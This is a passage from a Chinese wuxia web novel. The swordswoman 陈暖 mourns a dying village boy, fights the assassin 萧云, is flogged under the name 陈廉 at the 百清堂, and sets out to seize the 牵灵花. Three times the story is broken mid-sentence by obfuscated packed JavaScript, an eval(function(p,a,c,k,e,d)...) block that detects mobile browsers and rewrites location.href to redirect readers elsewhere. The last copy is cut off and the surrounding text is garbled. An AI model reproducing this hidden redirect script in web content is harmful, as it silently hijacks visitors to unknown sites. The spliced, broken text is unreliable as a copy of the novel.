沈静珠拽了拽陈暖的袖子,眼里蓄满了泪水,她哀求地看着陈暖。陈暖心中不忍,站起来还想继续出去寻找时手却被握住了。 “暖姐姐……咳……不,不要……”魏满仓感到身体四周有撕裂般的疼痛,五官好像在受到火焰的炙烤,眼睛因为不断地出血看人已经呈现了血影,“不要找了。” 他年龄虽小,但也知道陈暖这一晚上已经受了很多很多的伤,也知道幽火果不是那么容易就能找得到的,毕竟母亲经常几日都空手而归……如今自己不想再拖累她们了。 他想要抬手拿出衣服里的东西,却好似感觉不到手在哪里,他的四肢已经痛到了没有知觉。 沈静珠立刻明白了他的意思,帮他拿出了藏在胸.口的东西。就在前几日她好几次看到魏满仓时不时确认胸口衣服里藏的东西还在不在,甚至那时还说他“小气鬼”。 陈暖看着沈静珠手中做工粗糙的短木剑,认出了这是依照她飞花剑的摸样做出来的,瞬间明白了他的意思,将木剑放入自己怀中,“我会替你保护好小静珠。” 魏满仓勉强点了点头,眼泪混合着鲜血流了下来:“暖姐姐我……我好……好疼啊……帮帮我帮帮我……” 陈暖不忍再看他七窍流血、痛苦呻.吟的样子,抬眼看向远处,可远处已被泪水模糊。她就重新将头转过来,看着魏满仓,眼里满是温柔。 “闭上眼。” 魏满仓感受到陈暖温热的手掌覆在脸上,耳边是她轻柔的话语,好似是每次做噩梦时母亲哄他睡觉的样子,安心又温暖。 “做个好梦。” 沈静珠失声痛哭。 风吹过林海,发出了如海浪般的涛声阵阵,替口不能言的沈静珠诉说着她的悲痛欲绝。 “静珠?醒醒。”陈暖将魏满仓安葬后就看到哭累的沈静珠靠在树边睡着了,她上前欲叫醒她,但还没走到她跟前就立马三步并一步地冲上前,给她把脉。 面色与之前并无区别,却脉息微弱,像是中了毒,但并非是烈性的瘴气之毒,而是另一种令人难以察觉的慢性毒药。 陈暖突然站起,将沈静珠掩在身后,警惕地盯着来人。 来人一袭黑色劲装,一对弯刀背在身后,刀尖在和煦的朝阳下泛着冷光。 “萧云。” 萧云有点惊讶她竟然还记得自己:“被‘杀神’记住的感觉还挺奇妙。” 陈暖懒得再和他废话,直接出招。 他出现就代表着这整个灭村计划和崔书雪逃不了干系。 萧云感受到了她一招一式中充满的纯粹杀意,神情逐渐认真。 她竟还有力气?原本以为经过昨夜和天字营的一番死战以及日出前的那几波消耗,足以让她精疲力竭。 陈暖一脚踢开斜飞而来的一柄弯刀,勉强躲过了近身而来的萧云。 萧云眼睛一亮,发现她如今已经是强弩之末,遂加大了攻击频率,也加重了攻势,“沈静珠已经毒发,很快就只剩你一人了。”他将刀刃送入她的肩膀,“陈暖,放弃吧。” 陈暖不顾已经穿肩而过的弯刀,只是盯着萧云,问:“何时下的毒?” 萧云知道她问的是什么,摇了摇头,无声道:我,不,知,道。 陈暖看着他充满恶意的笑容,瞬间觉得恶心至极,早已凝在右手指尖的蚕筋线破空而出,将身边用内力震起的树叶用线穿过,原本轻飘飘的树叶在线穿过后瞬间好似有了支撑力,叶尖直冲二人飞来。 “你个疯女人!”萧云立刻抽出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935055|192872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还在她肩膀上的刀翻身后撤,意图躲掉她伤敌一千,自损八百的风雨诀,奈何离得太近,还是让一部分的叶子落在了身上,凡落之处直接出现极深且细小的伤口,鲜血直接渗出。 这还是在陈暖内力不足的情况下,若是全盛时刻,怕是自己早已去了半条命。 陈暖无视落在身上的树叶,看向不远处,冷声道:“再不出来就永远别出来了。” “谁?!” 萧云丝毫没有注意到现场还有第四人……不,第五人。 何冕将一直隐藏的气息释放,笑嘻嘻道:“这不是刚来嘛。”话音还没落人就已经来到了陈暖面前,带走了她和昏迷的沈静珠。 好快! 萧云还没反应过来人就已经被带走,正欲追上,却被另一佩剑之人挡下。 陈暖坐在疾驰的马车上,听着林中时不时传来的动静,问何冕:“怎么来这么晚?” 何冕将药给沈静珠喂下,无奈道:“我一人是可以很快过来,但我又不会武功,这不得找个高手来助阵,还要准备药材,更要拿到宵禁期间的出城令。” 他在无定斋拿到陈暖留下的信鸽后就开始迅速准备,但如今不比以往,不能明目张胆地招揽侠客,高手更是要么被家族垄断、要么就是隐姓埋名,找到这一位着实浪费了他不少时间。 “崔书雪在哪?” 无定斋虽收尽天下情报,但也管不住一些人的腿啊,尤其像崔书雪这样的江湖高手。 “我只知道个宅院啊,现在人还在不在那,我可不知道。” 陈暖这才放松下来,看着陷入沉睡的沈静珠。此刻她已被何冕的祖传秘法暂时隐了气息,此法虽能减缓她体内毒发的速度,但也效果有限,当务之急是回到揽水城对她好好进行检查,判断到底是中了什么毒。 马车从城门疾驰进来,直奔城西无定斋。 陈暖换好衣服后看到沈静珠的房门还在紧闭,眉头蹙起,心中有种不详的预感。她正欲敲门,里面的人先打开了房门。 何冕没有说话,只是脸色极为难看。 陈暖:“怎么救?” 何冕:“牵灵花。” 陈暖:“几日?” 何冕:“最多半月。” 陈暖:“等我。” 何冕看着她的背影,虽只是寥寥数语,但已感受到了她的决心。 但那可是六十年一开的“牵灵花”,何冕不认为她能得到。 城南的一座宅院被人一脚踹开了门。 “是何人闯入?!” 院中死士们早已临阵以待,好似一早就料到会有人来。 “送你们死的人。” 陈暖躲过攻击,随手杀了一人后取了他的剑,磅礴剑意自她周身散发,院中树叶纷纷上扬,最后一齐落下,院中激起阵阵血雾,染红了她的衣服。 她一边解决挡路之人,一边寻找崔书雪。 “噗嗤——” 突兀的笑声传来,她抬起手中的剑朝声源刺去,剑身发出清啸,在近那人身前却猛地停住。 “这么大火气,不怕被百清堂发现吗?” 许和意看她杀红了眼的样子,戏谑问道。 5. 她的计划和他的计划 陈暖连踩几下长廊的木柱,毫不犹豫地近他身前,短刀破空而来。在被对方挡下的同时借助弹出的力将蚕筋线捆在他的腰上,在快下坠到地上时用力拉线,将他从院墙上甩到院中。 许和意在撞到木柱前用手格挡,减缓瞬间下坠的冲击,原本坚韧柔软的丝线在他落地的那一刹那直接变得坚硬。感受到对方用力,许和意怕自己直接被一分为二,立马卸了自己全身的力道,然后就被陈暖拉了过去。 “嘭——” 许和意感觉自己的后背要裂开,原本还尚未完全恢复的剑伤隐约要再次裂开,随后便感觉到脖子一凉紧接着就是细微的疼痛。 “说,崔书雪在哪?”陈暖将手中的短刀再次往前递了下,冷声问道。 无定斋可能会找不到他的踪迹,但明显活跃在江湖上的崔书雪早已进了百清堂的监管名单中,他的行踪一直在被监视。这也是为什么崔书雪只能派天字营截杀自己,而不能亲自来动手。既然如此,那眼前这个百清堂堂主应是最掌握他踪迹的人。 许和意由于一只手被她压制到自己身后,只能无奈举起另一只手作投降状,看着她早已被怒火点燃的通红的眼睛:“我要是知道就不会晚你一会儿才来。”对方依旧无动于衷,“他派人杀了沈家老小。” 他说完就倾身向前,丝毫不顾脖子上的伤痕更深一分,只是盯着陈暖,声音平静:“陈暖,这已经不是你们个人的私怨了。”他一直知道多年前崔书雪曾差点死在陈暖的剑下,也就是在那时候陈暖因这一战,在江湖上一战成名。后面二人时有争斗,只是不知为何今日陈暖竟如此愤怒,哪怕冒着被百清堂发现的风险。 陈暖怔了一下,立刻知道了沈静珠的毒是何时被种下的。 “他也派人杀了下君来全村五十六口人的性命。” 陈暖说完便放下了手中的短刀,面无表情地看着许和意,声音虽淡,但却隐约透露着疯狂:“这单我接了,不死不休。” 许和意愣在原地,看着她的背影神情逐渐凝重。 许和意虽然能理解她的心情,但是这句话明显是和百清堂对着干,届时说不定她是成功了,但是陈暖自己也要成为一具尸体横在百清堂的堂前了。 陈暖还未走出院子,就看到院门外被几个人挡住了去路,这些人统一身着上绣山河纹样的朱色窄袖衫,腰间配着一把玄色长刀。 陈暖回头,看着还在原地的许和意,冷声道:“你敢拦我?” 许和意一边掏出手帕擦干脖子上的血迹,一边缓步上前,道:“我怎么敢拦大名鼎鼎的陈暖大侠……”他走到陈暖身边,烟紫色外袍下伸出一只修长的手,掌心朝上,“今日我拦下的是城门口布告栏那悬赏令上的‘陈廉’。” “……” 江湖人一般都是行不更名,坐不改姓,光明磊落行走世间。但是如今时代变了,时不时有颠倒黑白或者想借百清堂的规矩杀了她的百姓上门状告她,陈暖不得不防,遂化用“陈廉”这个名字接一些“普通”活计。 陈暖沉默了一下,将手中还没有干涸带有血渍的短刀还有缠在袖间的蚕筋线放他手上,见他手还停留在半空中,疑惑道:“不走吗?” “你的剑呢?”许和意从一开始在墙上围观她杀人的时候就注意到她今日并没有带剑。 “烧了。” 伴着不甘化为灰烬的下君来村人一起在大沼泽地的野火中燃烧。 “磨蹭什么呢,还走不走,再不走我可真走了。”陈暖不耐烦地看着他在那愣神。 许和意默默咽下好不容易想到的安慰的话,跟在她的身后。 飞花剑是当世唯一女铸剑师纪轻竹所做,在江湖武器名剑录上排第七。据传当时陈暖为了得到这柄剑,在自在山庄上打了三天三夜。 既是江湖名剑,又怎会被区区野火…… 许和意长叹了口气,快走几步追上了前面的陈暖。 这已经不是陈暖第一次来百清堂,只不过上次是在涉州城,这次在揽水城。 陈暖随便挑了把椅子坐下,打量着周围,雕栏画栋,院中假山环绕,内有潺潺的流水,只是…… “上次是在一座宅院中,这次还是,难道偌大的百清堂连个正式的办公场所都没有吗?” 许和意看着自己脖子上还在隐约渗血的伤口,又从镜中看到陈暖从进来就随便的样子,一直温和的神色变得冷峻:“谁让你坐下了?” 陈暖听着他的声音,不用看他的脸色就知道此人已经改换了身份——百清堂堂主。虽不情不愿地站起,但还是静待他的下一步问话。 她是一个不喜欢受规矩约束的江湖散人,但“溥天之下,莫非王土;率土之滨,莫非王臣”的道理她怎会不知。百清堂直属天子管辖,本就是为了监管江湖人,此刻站在这里的是“陈廉”,该有的规矩还是要有的。 许和意敲了敲桌子,原本候在门外的人带着书卷走进来,在早就准备好纸笔的位子上坐下,在接收到许和意的允许后摊开带来的书卷开始进行讯问。 “姓名。” “陈廉。” “三个月前城西一家酒楼状告你杀了他的儿子,可有此事?” “有。” “原因为何?” “他儿子输钱了随便找了一家人杀人泄愤,这我能不杀?” “又是三月前,戴家大公子意外河边溺亡可是你干的?” “是。” “原因为何?” “他以续弦为由实则以虐杀少女为主。” “两个月……” “行了,别念了。”陈暖不耐烦地打断他,看着一直自从坐下就不曾开口说话的许和意,“都是我干的。” 卷司使停顿了下,低头等了一会儿见许和意还是没说话,便继续问:“可使用刀剑?” “宵小鼠辈,还不配我动刀动剑。” 卷司使做好记录后将案卷呈递给许和意,许和意并没有翻开,因为他早已烂熟于心,直接道:“既未对百姓使用刀剑,那就杖三十,禁武半月,可有异议?” 现在是二月末,牵灵花开在三月九,等五日林中瘴气和烟雾消散后便能摘花,时间不多不少,刚刚好。 许和意你可真是好算计啊,这头罚了她,那头又要让她帮忙干活。 看来…… 是又想挨她一剑了。 陈暖微笑回道:“没有。” 许和意也露出了和以往一样温和的笑容,道:“那就请吧。” 他看着卷司使带着陈暖离开,原本空无一人的身边突然如鬼魅一般出现,若是陈暖看到就一定能认出这个人。 因为此人就是今早何冕说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935056|192872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “浪费了他不少时间”找来的高手。 “公子,下君来村的村民除了沈静珠其余全部被杀。”梁声如今再回想那片浓烟中夹杂着衣物燃烧产生的漫天飞絮和烟灰的场景时仍感到心惊肉跳。 许和意蹙眉,看来沈家那群被替换的杀手就是为了等待有可能幸存的人来自投罗网。 “为什么只是沈家?”许和意不解,毕竟下君来人这么多,怎么偏偏沈家被灭门。 “因为只有沈静珠近期回了沈家,其他的人最近一次回家都是在采猎之前了。” 下君来本就离揽水城很远,再加上恰逢采猎开始的日子,基本不会出现有人回城的情况,毕竟都想趁着这个时期多采点精矿和幽火果卖钱。 “查到原因了吗?” 梁声惭愧地低下了头,道:“尚未。” “无妨。”许和意站起来拍了拍他的肩膀,“总会有线索的。” 能想到用每年如期而至的野火来伪装成意外进而掩饰杀人的目的,还不惜搭进去这么多死士都要促成这场灭村计划,此局定是筹谋已久。没了人证、物证又在极端天气的掩饰下,百清堂就算怀疑也毫无证据,只能将此事暂压,继续寻找线索。这也是陈暖一定扬言要杀崔书雪的原因,毕竟杀人最是简单,只需要一人一剑即可。 不过本来确实是万无一失,可偏偏其中有“陈暖”这个最大的变局——若不是梁声偶尔会因为探查江湖人行踪接一些打手的活,说不定还真能在自己的眼皮子底下瞒天过海。 许和意看着递在自己眼前沉甸甸的钱袋,不解道:“这是?” “无定斋给的。”梁声自觉这次并没有查到什么有用的消息,便默默上交银钱。 “自己拿着吧,别本就名声不好的我再被人传虐待下属,克扣银钱。”许和意说完就慢悠悠出了门。 算算时间,陈暖那边应该也结束了。 陈暖趴在长凳上,背上早已血肉模糊。若是没有受伤她可能还能恢复得快一些,但她夜里经过几次轮番的战斗,本就伤势未好,再受这三十杖,真就是要躺上十天半个月了。 许和意看到她凄凄惨惨的样子,握住她的手腕把了下脉,也着实没想到她竟然伤得如此重,毕竟在城南宅院中她大杀四方的样子可丝毫看不出来还有伤在身。 这就麻烦了。 陈暖和许和意的脑海里同时冒出了这句话。 许和意抱胸站在那里看着她血流如注的后背:伤得如此重,要尽快让她好起来,否则牵灵花的归属恐会生变。 陈暖双眼无神地盯着墙角发呆:伤得这么重,万一采牵灵花的时候伤还没彻底恢复好,如何能抢得过许和意。 “那个……”一直站在许和意旁边被他带来的大夫在沉默中忍不住出声,毕竟那汩汩流血的后背看着着实有点吓人。 然而他微弱的声音被许和意的声音盖过。 “就在这里养伤吧。”百清堂的珍稀药材不少,在他眼皮子底下养伤,相信很快就能恢复如初。 陈暖眼睛一亮,立马转头看着他,掷地有声地说:“好!” “……” 许和意见她答应地如此爽快,不禁沉默,总感觉有点不对。 大夫见二人交谈后依旧没人喊他上前治伤,不禁在心中呐喊: 到底还治不治伤啊!!! 6. 送剑 “咦?”何冕原本在单手撑着下巴无聊地望向外面灯火通明的街道,比常人更加灵敏的耳朵在周围嘈杂的环境中捕捉到了一道若有若无的铃声,这铃声时而沉郁时而空灵。 他缓缓坐直身体,看着那身着海棠色织银锦衣的女子出现在门口。她那姣好的脸庞上原本面无表情,在看到他后就露出了微笑。一对梨涡似花般绽放,给她原本有点清冷的面庞带来一阵春情,一双凤眼含着沁入心底的笑意,足以可见她心情很好。隐隐的铃声自她腕间响起,缘是左腕带着由暖玉雕琢而成的玉镯,里面镂空雕刻着万物,栩栩如生,其中还有一枚沁着红的软铃。 “站住。”陈暖笑着叫住正欲偷偷往后堂溜走的人,“何大掌柜,往哪躲呢?” 何冕身体一僵,随后转身看着她,笑道:“这不是去给你搬把椅子吗?” “无妨,我坐这就行。”陈暖顺势坐在刚才他坐着的檀木椅子上,她看着一脸如临大敌模样的何冕,“别紧张,我如今伤还没完全好,说起来你前面还救过我一次,所以最近就先不取你性命,就打听个事。” 近日陈暖一直在许和意那边养伤,因着那许和意私库里名贵药材确实多且对方恨不得自己早早恢复伤势,差人照顾得也贴心,所以陈暖如今伤势已经好了大半。当然陈暖也早早就将沈静珠从何冕那边接回送到许和意那里,一是自己能时刻关注她的状态,二就是用名贵药材泡着她还在沉睡的身体,虽说于解毒没有丝毫用处,但起码能将她的身体调理得更强健一些。 何冕瞬间放松,身子也敢靠在桌沿,看着她放在桌上的一片金翎,诧异道:“我以为你想问‘牵灵花’的事情……说吧,想问什么秘闻?” 无定斋曾是黎国江湖上盛极一时的情报组织,下设四个机构分别探查朝堂、江湖、奇珍和秘闻这四个相关情报,并依次用一枚金叶子、金币、铜钱、金翎当作信物或者交换。如今江湖式微,买情报的人是少之又少,因此无定斋也是生意惨淡。还好最近因牵灵花期将至,打听有哪些人或者势力参与夺宝的人也越来越多,才让无定斋避免了歇业的风险。 牵灵花的事许和意那边自会操心,陈暖来此只想知道最近江湖上发生了什么事,能让下君来被灭村。 “就关于涉州的任何事吧。”无极涉州是黎国北方第一州,下辖揽水城,消息定会层层流通。 何冕知道面前人不好糊弄,就拿着那片金翎亲自到后院取消息,临走前还嘱咐了下她:“帮我看着啊!” 陈暖摆了摆手示意听到了,然而在听到他的脚步声彻底远离后就将柜台下写有“打烊”二字的木牌摆在了桌面上,站在旁边的伙计也是敢怒不敢言。 她无聊地将桌上的东西都把玩了一遍,就在她终于坐不住要去找何冕时,进来了两个人。 陈暖冷眼看着走在前面的人,指了下木牌,道:“没长眼睛吗?” 许和意脚步顿了下,他身后的宝卷立马怒目圆瞪,手指着门外天上:“这才刚过申时!” 陈暖微笑不答。 何冕一进大堂就看到这三人僵持的场面,只恨自己为什么选陈暖帮他看店。他立马上前把一个上着锁的抽屉打开,将里面的东西递给宝卷,对着许和意不好意思地说道:“让您等得有点久了。” 陈暖从何冕拿出那物时就好奇是什么东西,忍不住目光跟随,却被宝卷直接藏到了身后,目光上移,就看到宝卷在警惕地盯着自己。陈暖耸了耸肩,朝他翻了个白眼。 看来许和意私库里很多的奇珍异草多数都是从无定斋这里获得的,不过……他身边也没见有什么人受了很严重的伤…… “看来伤势好得挺快,那就明日来商量牵灵花的事。”许和意临走前看了她一眼,也不等她回复就已经转身出了门。 随着花期将近,陈暖住在百清堂,能感觉到许和意最近是忙得脚不沾地,也不见人影,倒是每天派人替她诊脉还挺及时。这两天许和意时不时派宝卷过来想带她一同过去商量计划,却被陈暖三番五次以今日头疼、今日肚疼为由推辞,每一次都是以宝卷愤怒摔门而出告终。 许和意现在还不清楚自己救沈静珠需要牵灵花,她自然是能避则避,以免被他察觉自己的真实意图。至于许和意说的“计划”,有什么好商量的,不就是想让她去当个打手吗,所以更是懒得听那些又臭又长的安排。 “说吧,查到什么了?” 何冕支支吾吾。 陈暖站起身,也懒得继续再问,干脆道:“走了。” 其实何冕从后院回来时她就注意到他是空手而来,心里就知道他定是没查到什么有用的消息。秘闻无定斋有的是,但是何冕知道她想问的是什么,这也是他亲自去问、去筛选信息的原因。 能如此精心策划这场灭村计划,又岂会让人轻易查出缘由。 陈暖边想边低头打了个喷嚏,脚步无声隐入熙攘的人群,发现身后有人在跟着时,顺道拐进了一个阴暗逼仄的小巷,身形隐藏在黑暗中。 来人在进巷子口前犹豫了一下,随后像是下定了什么决心走进了进去。 陈暖脚步轻点,右手带起掌风伸向来人的脖颈,在预判到对方翻身躲过后的落点时,左手将手中刚才在经过巷子时薅的树叶全部抛出。四散在空中的叶片内含强劲内力,来人匆忙躲闪,但却明显力不从心,眼见着右脸要被叶片划伤,陈暖连忙飞身上前揽住对方的腰后撤,顺便卸了周遭叶片上的力道。 “看来没少练啊!” 纪灵惊魂甫定地拍了拍胸口,在听到耳边陈暖的打趣声后鼻子一酸,瞬间流下了眼泪。 陈暖听到她的抽泣声,叹了口气,手上用力,揽着她飞出了小巷。 夕阳的余晖笼罩在纪灵的脸上,那清澈的眼睛里蓄满了斗大的泪珠,却还是目不转睛地盯着陈暖看,眼中是又惊又喜。 陈暖抬手将她源源不断的泪水擦去,笑道:“竟然哭这么伤心?” 纪灵听后索性坐在地上放声大哭:“我以为你死了!我以为你死了!!我以为你死了!!!那日我赶到宁静森林时看到地上全部都是血,连泥土都被浸透,却唯独找不到你……你那么多仇家,我想过无数种万一……我还让何冕派人找了你无数次,就是没有你的任何消息!!!钱庄外我是日日守、夜夜盼……” 陈暖蹲下身抱住她,轻拍她的肩膀安抚她,听她一字一句地说出她的恐惧、焦虑、伤心与绝望,眼里也一阵发酸,心中满是心疼:“没事了没事了。” 余晖逐渐散尽,点点灯火开始燃起,照亮了她们脚下的路面。 陈暖侧头看着已经冷静下来的纪灵,将她纤长睫毛上还挂着的一滴泪珠抹去,柔声问道:“好了?” “嗯。”纪灵鼻音浓重地回她。 “那我们回去?” “好。” “……” 这都已经走 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纪灵将木匣打开,里面静静躺着一柄长剑。此剑通体长约二尺,剑身呈银白色,泛着冷光,其上无任何装饰,仅剑格处镶嵌一枚墨玉,剑柄处缠以绯色红绳。 “这玉……”陈暖一眼认出这玉是自在山庄的镇庄之宝。据传此玉采自千城河之洲的极西之巅——灵运山,吸尽天地灵气。若用于炼剑,则能在短时间内存储用剑之人的内力,这对于内力枯竭者来说可谓是最后的保命符。曾经有许多人觊觎此宝玉,甚至不惜强抢,到最后都被打下了山庄,后面才日渐消停。 纪灵狡黠一下笑:“嘿嘿,是我一哭二闹三上吊向母亲求来的。再说这玉再是贵重也是一件死物,还能有你的性命重要吗?” 陈暖相信此玉绝对不是纪灵简单的一句“一哭二闹三上吊”就能获得的,但见她不细说,自己也就不问了。 “那我就收下了。” 她们二人也早已用不着互相感谢。 自从得知陈暖还活着的信息她就一直在准备这柄剑,如今看到她收下,一直缠绕在她心中许久未散的阴影也逐渐消散。纪灵知道自己对剑术毫无天赋,武功也只会三角猫的保命功夫,帮不了陈暖什么忙,这柄剑能代替自己陪着她,让她在面临危险、山穷水尽之时有一丝保命机会也是极好的。 想到这,纪灵心情便舒畅多了,开始和陈暖说在她不在的这四个月里自己遇到了哪些奇闻逸事。 “秘术?”陈暖从纪灵生动的讲述中捕捉到了令她感到陌生的词汇,打断了她,追问道,“什么秘术?” 纪灵摇摇头,表情神秘:“不知道,有人说是起死回生之术、有人说是失传已久的秘籍,还有人说这就是个唬人的噱头,实际上是一些金银俗物。” “那怎么会在涉州出现?” “说是被一个采矿的人偶然发现的,那东西被传得神乎其神,甚至不知道到底是人、是物还是别的什么,单凭放出来的消息就引起好多人的关注。” 秘术、涉州、采矿…… 陈暖总感觉自己好像在那一瞬间抓住了什么,但却转瞬即逝,再细细回想时便也什么都记不起来。 有这秘术消息,为什么何冕并没有向她提到,还是说此传言过于荒唐,以至于被人当作茶余饭后的闲谈,倒也不足为奇。 “砰——” 大门口处突然传来一阵撞击声,院中二人对视了一眼,陈暖立刻拿出剑匣中的剑先冲出去,纪灵紧随其后。 7. 牵灵花 陈暖抱剑立在门口,看着地上喝得烂醉如泥的人。纪灵的脚步声停在自己的身后,陈暖并没有回头看她,只是问道:“要赶走吗?” “嗯。” 陈暖就等她这句话,直接抬脚将门口躺在地上的人一脚踹走,这一踢陈暖可是没有留余力,对方直接被踢飞出去,撞到了对面的院墙上又重重跌落下来。 何冕吐了口血,疼痛感让他意识稍微清醒了些,他看着站在门口一言不发只是望着自己的纪灵,却突然被斜插过来的一柄剑挡住了视线,剑身上映出他凌乱的头发和失魂落魄的神情。 “何冕,你出现在哪里都可以,就是不能出现在纪灵面前,这件事还用我再次警告你吗?再不走,今日这柄剑就拿你来开刃。” 陈暖的身上散发出毫不掩饰的杀意,令他心跳骤然加速,他自然是相信陈暖会毫不犹豫地杀了他。 是的,她一直想杀了自己,在纪灵被他撕毁婚约的那一刻。 “阿暖,回来吧。” 陈暖收回剑,扭头看到纪灵已经转身走向院中,便蹲下身,看着目光无神的何冕,低声道:“何冕,没有下次。” “来了来了!”陈暖快步追上纪灵,大门被她用掌风无情关上。 何冕在她走后急速喘气,翻身躺在地上。刚才陈暖身上散发出来的气息令他呼吸有瞬间的停滞,冲天的怒意和杀气令他感到神魂都在颤抖。 后面几天直至纪灵从揽水城离开,陈暖都一直陪着纪灵出入御景园,以防纪灵再次遇到何冕这个碍眼的。 “你一定要好好的,要先让他们争个你死我活你再偷偷出手。”纪灵抱着陈暖,不放心地叮嘱她。 江湖已经沉寂许久,也不知道此次夺宝会有多少不知底细的江湖侠客参与,因此此一行的凶险程度无法预知。纪灵尽管万分担忧,但也没有立场让陈暖放弃。 “知道了。”陈暖将自己左腕上的万物镯取下戴到纪灵的手腕上,将其调整到合适的大小,“这镯子你替我戴着,要是弄丢了,等我回来可就拿你的御景园抵了啊!” 这个镯子之前一直锁在仁安钱庄的钱柜里,这次刚好纪灵来了可以让她帮忙保管一下。 纪灵晃了晃手腕:“哼!你要是不回来,我就直接拿它去换几个州。” “是是是,我的大小姐。”陈暖顺着她的话头安抚她,抬头看了下日头,“快走吧,时间不早了。” 陈暖看着纪灵在马车上露出半截身子用力朝她挥手,便也朝她挥了挥手,直至马车彻底消失在视线中。 “我也没听江湖人说我们的杀神大人竟如此大方啊。”许和意的声音从旁边的面摊传过来。陈暖懒得理他,直接走上前掀了他桌上那碗刚吃完的面,碗中剩下的面汤虽然及时被许和意以内力挡回,但还是有少数几滴落在了他的衣服上。 许和意看着陈暖离开的背影陷入沉思。百清堂一直对陈暖的背景有着清晰且明确的记载,但此万物镯的出现实在是让许和意对她有点捉摸不透了。毕竟世间唯二出自匠师董慎之手雕刻的万物镯一个已随堇皇后入了皇陵,一个便在她这里。 被怀疑身份的陈暖正在院子里和新剑磨合中,若她知道许和意的蠢笨想法怕不是做梦都要笑醒。要真有什么特殊身份,她还用得着自己亲自取牵灵花吗,早就下令让许和意得手后跪着将花乖乖呈给她。 宝卷站在回廊下看着院中努力练剑的陈暖,满意地点了点头。看来她是知道明日就要启程,临行前还不忘精进一下武艺,这么一看连陈暖那张脸都变得不似往前那般面目可憎了。 三人就这样各执心思地度过了在揽水城的最后一天,一起迎接启程去上君来村的明天。 但许和意是万万没想到去上君来的路上竟然能如此吵闹。 “我说你们两个,能不能安静一会儿?”许和意原本在闭目养神,实在是烦透了他们二人无聊的吵架,终于忍不住开了口。 陈暖眼睛一亮:“要不大人让我先行一步?” 本来陈暖想大清早骑马先赶去上君来了解情况,但许和意这厮偏偏要让她和他们一起坐马车。 “不行。”许和意斩钉截铁地拒绝。值此关键时刻,肯定是不能让陈暖消失在自己视线中,以免发生什么变故。 于是陈暖继续逗宝卷,马车内嘻嘻哈哈和吱哇乱叫的声音此起彼伏,忙碌得一夜未眠的许和意只好用内力暂且封闭五感,继续养神。 陈暖见他选择直接无视,就懒得继续搞动静了,直接表示和宝卷休战,眼一闭、脖子一歪也闭目养神去了。 车里逐渐安静下来,只偶尔有马车驶过地上石块时发出的摇晃声。许和意睁开眼,看着陈暖,脸上毫无表情。 他一直知道陈暖此行另有目的,也懒得深究,因为他明白自己想要什么,至于其他人想要什么他并不在意。 陈暖回看他,内心毫无波澜,然后换了个更舒服的姿势,这次是真的直接睡过去了。 然而一路上周遭时不时出现驾马声、说话声和打斗声让她睡得并不安稳,直到马车在上君来村口停下来。 陈暖站在村口等着查路引,远远看到村中十户中有三四户门口挂上了白丧灯。 她沉默地走在街上,尽管周围声音嘈杂,但还是偶尔能听到有些人家传出令人痛彻心扉的哭嚎。 “这是怎么回事?”有刚入村不知情况的人疑惑地问着身边同伴。 “听说大沼泽地旁边有个村庄被野火烧了。” “好可怜。” 陈暖听着路过的人三言两语的讨论,看着那随微风轻晃的一盏盏白灯笼。没有人比她更清楚这些丧灯为谁而点,又在为谁引路。 “走吧。”许和意走在她前面,淡淡说。 “恩。” 陈暖跟着许和意在许家前哨的指引下进了一间不算大的宅院里,里面已经站了几个人,从他们身上刻意收敛的气息中能感受到这些人都是一些江湖中的好手。 经过短暂的修整后,几人再度出发,一直跟在许和意身边的同行之人也由宝卷换成了梁声。 月朗星稀,空气中隐隐还残留烧焦的气味。按照日子推算,大沼泽地上的多数林木已经燃烧,地面上留存的一些深层枯落物正在等着后面的多次复燃。 “我知道你。” 身后突然传来声音,陈暖侧身看着背光而来的梁声,疑惑地看着他并没有接话。虽然自己在江湖上确实是独行侠了一些,但是也不至于对有过照面的高手没有印象,那可就太失礼了。 “六年前的千城州,江延村。” 陈暖瞬间记起,对梁声这张脸也愈加清晰,逐渐与记忆中那个在风沙中蓬头垢面的人合二为一。 “竟然是你。” 梁声走到她旁边,看着远处隐隐泛着火光的大沼泽地,“一直想对你说句感谢。” 陈暖摇头道:“这算什么,再说当时我们也算是互帮互助了。” “江延村之难”可以说是黎国之殇——一场百年难遇的风暴挟带着西南辉云瀚海的沙粒将千城河之洲下的江延村彻底掩埋。恰逢当时陈暖歇脚路过,就和当时多位在附近如梁声这样的江湖人士一起拯救村民,也算是同患难了。再说本质就都是救人,哪里能担得起一句感谢。 梁声也不再多说,二人就这么站着,直到半柱香后队伍再次启程。 如今他们已经到了宁静森林的外围,依照他们的脚程约在子时前一刻到达目的地,届时只需要再等大约一刻钟就到了花开的第六日。 此时周围出现的人还比较少,多数都相安无事,但越往森林深处走,借助昏暗的环境和周围林立树木的掩护,必然会发生冲突,厮杀在所难免—— 牵灵花在开花的第七日花谢,留给他们的时间不多了。 “跟紧我。”许和意说完就先冲进了林中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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然而也偏偏有不长眼的—— “这是哪位女侠,竟然带着个小孩儿来夺宝,是想到时一起连同这花被人夺了去吗?” 